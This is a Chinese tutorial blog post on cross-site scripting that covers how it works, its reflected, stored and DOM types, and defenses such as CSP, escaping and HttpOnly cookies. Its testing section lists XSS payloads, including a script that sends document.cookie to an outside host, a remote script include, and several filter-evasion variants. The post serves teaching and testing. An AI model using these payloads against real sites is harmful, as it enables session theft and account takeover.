XSS攻击

XSS攻击

一、原理

        Cross Site Script(跨站脚本攻击),为了和样式表区分缩写为XSS。服务端直接将用户输入输出到页面中,类似于html/JS注入攻击,使用户访问页面时执行恶意脚本,从而盗取session、cookie,重定向用户等其他攻击;影响客户端浏览用户;

参考:https://mp.weixin.qq.com/s/Q75OWVUcrwokEkir27bSOA

二、分类

1、反射性(非持久型)输入的恶意内容反射到页面中;需要诱使用户“点击”一个恶意URL链接;

特征:

    1)即时性,不经过服务器存储,直接通过 HTTP 的 GET 和 POST 请求就能完成一次攻击,拿到用户隐私数据;

    2)攻击者需要诱骗点击,必须要通过用户点击链接才能发起;

    3)反馈率低,所以较难发现和响应修复;

    4)盗取用户敏感保密信息;

2、存储型(持久型):不需要诱骗点击,直接把恶意脚本植入到服务器端,用户访问网页就执行恶意代码(一般存在于 Form 表单提交等交互功能,如文章留言,提交文本信息);

满足攻击的条件:

    1)POST 请求提交表单后端没做转义直接入库;

    2)后端从数据库中取出数据没做转义直接输出给前端;

    3)前端拿到后端数据没做转义直接渲染成 DOM;

3、DOM型(非持久型):通过修改页面的DOM(Document Object Model)节点;可以不经过服务器,直接由前端的js触发

三、防御:

1、CSP:本质上就是建立白名单,开发者明确告诉浏览器哪些外部资源可以加载和执行,只要开发者配置了正确的规则,那么即使网站存在漏洞,攻击者也不能执行它的攻击代码,并且 CSP 的兼容性也不错;通常可以通过两种方式来开启 CSP:

1)设置 HTTP Header 中的 Content-Security-Policy

     https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy

2)设置 meta 标签的方式;

2、转义字符:用户的输入永远不可信任的,最普遍的做法就是转义输入输出的内容,对于引号、尖括号、斜杠进行转义;但是对于显示富文本来说,显然不能通过上面的办法来转义所有字符,因为这样会把需要的格式也过滤掉,对于这种情况,通常采用白名单过滤的办法;例如:示例使用了 js-xss 来实现,可以看到在输出中保留了 h1 标签且过滤了 script 标签

              

3、HttpOnly Cookie:这是预防XSS攻击窃取用户cookie最有效的防御手段;Web应用程序在设置cookie时,将其属性设为HttpOnly。

四、测试

1、<img/src=x>、<svg/οnlοad=alert(1)>、<script>alert(1)</script>、<!--等等;

3、<script>new Image().src = "http://txt.me/log.php?c=" + encodeURI(document.cookie);</script>

       或者利用短链接的方式<script src =//txt.me/1.js></script>

2、对于应用程序实施的过滤xss漏洞,我们可以尝试通过各种方法避开:

    1)”><script >alert(document.cookie)</script>对于完整的字符串过滤,可以加个空格跳过

    2)”><sCrIpt>alert(document.cookie)</script>也可以尝试大小写是否有区别;

    3)”%3e%3cscript%3ealert(document.cookie)</script>将<>进行编码后尝试跳过;

    4)”><sc<script>ript>alert(document.cookie)</script>如果只对一个script字符串过滤,可以尝试嵌套的方法避开过滤;

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值